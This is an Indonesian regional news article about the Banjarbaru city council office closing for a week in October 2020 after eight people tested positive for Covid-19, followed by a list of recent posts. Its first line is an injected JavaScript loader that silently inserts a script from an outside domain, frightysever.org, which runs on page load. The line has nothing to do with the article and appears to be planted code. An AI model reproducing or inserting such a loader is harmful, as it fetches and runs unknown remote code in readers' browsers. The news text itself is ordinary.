(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kantor DPRD Banjarbaru Ditutup Sepekan, Menyusul 8 Orang Positif Terpapar Covid-19


KANALKALIMANTAN, BANJARBARU – Aktivitas di kantor DPRD Kota Banjarbaru, Kalimantan Selatan, secara resmi ditiadakan hingga berapa waktu ke depan. Keputusan itu diberlakukan untuk mencegah kluster Covid-19 -penularan virus- di kantor DPRD Banjarbaru semakin meluas.

“Kita putuskan bahwa aktivitas di lingkungan kantor DPRD Banjarbaru ditiadakan sampai pada tanggal 9 Oktober. Semuanya kerja dari rumah atau work from home (WFH),” tegas Sekretaris DPRD Banjarbaru Aida Yunani, Senin (5/10/2020) siang.

Melalui keputusan tersebut, kata Aida, maka secara otomatis meniadakan pula seluruh agenda rapat baik itu bersifat internal maupun paripuna yang dijadwalkan selama sepekan ke depan. Satgas Covid-19 Banjarbaru dalam hal ini melakukan sterilisasi di setiap ruangan kantor DPRD Banjarbaru.

“Tadi pagi sudah dilakukan upaya sterilisasi melalui penyemprotan cairan disinfektan dan akan terus berlanjut. Aktivitas di kantor DPRD Banjarbaru

kembali berjalan normal pada pekan depan, namun dengan menerapkan protokol kesehatan Covid-19 yang sangat ketat,” jelas Sekwan.

Seperti yang sudah diberitakan sebelumnya, dinyatakan ada 8 orang yang beraktivitas di kantor DPRD Banjarbaru terinfeksi Covid-19. Mereka yakni 3 anggota dewan dan 5 orang pegawai di Sekretariat DPRD Banjarbaru.

Gelombang penyebaran Covid-19 di lingkungan kantor DPRD Banjarbaru mulai diketahui, berawal dari 3 anggota dewan yang lebih dulu dinyatakan terpapar virus corona. Hingga, mengharuskan 22 staf DPRD Banjarbaru yang diduga pernah melakukan kontak fisik menjalani tes swab pada Jumat (22/10/2020) lalu.

“Dari ke 22 orang itu, 5 orang di antranya dinyatakan terpapar Covid-19. Saat ini, kita sedang koordinasi agar 5 pegawai staf tersebut menjalani karantina di tempat yang dikelola oleh Pemprov. Kemungkinan di Bapelkes,” lanjut Aida.

Sementara itu, Kepala Dinas Kesehatan (Dinkes) Banjarbaru Rizana Mirza mengungkap bahwa pihaknya telah meminta DPRD Banjarbaru untuk meminimalisi kegiatan saat aktivitas kembali dijalankan. Termasuk, memperbanyakan aktivitas melalui daring –online-.

“Kami meminta aktivitas di DPRD Banjarbaru diminimalisir. Protokol kesehatan dibuat lebih ketat dan kalau bisa aktivitas lebih banyak melalui daring saja,” kata Rizana. (kanalkalimantan.com/rico)

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

11 menit ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

1 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

4 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

12 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

14 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

14 jam ago

This website uses cookies.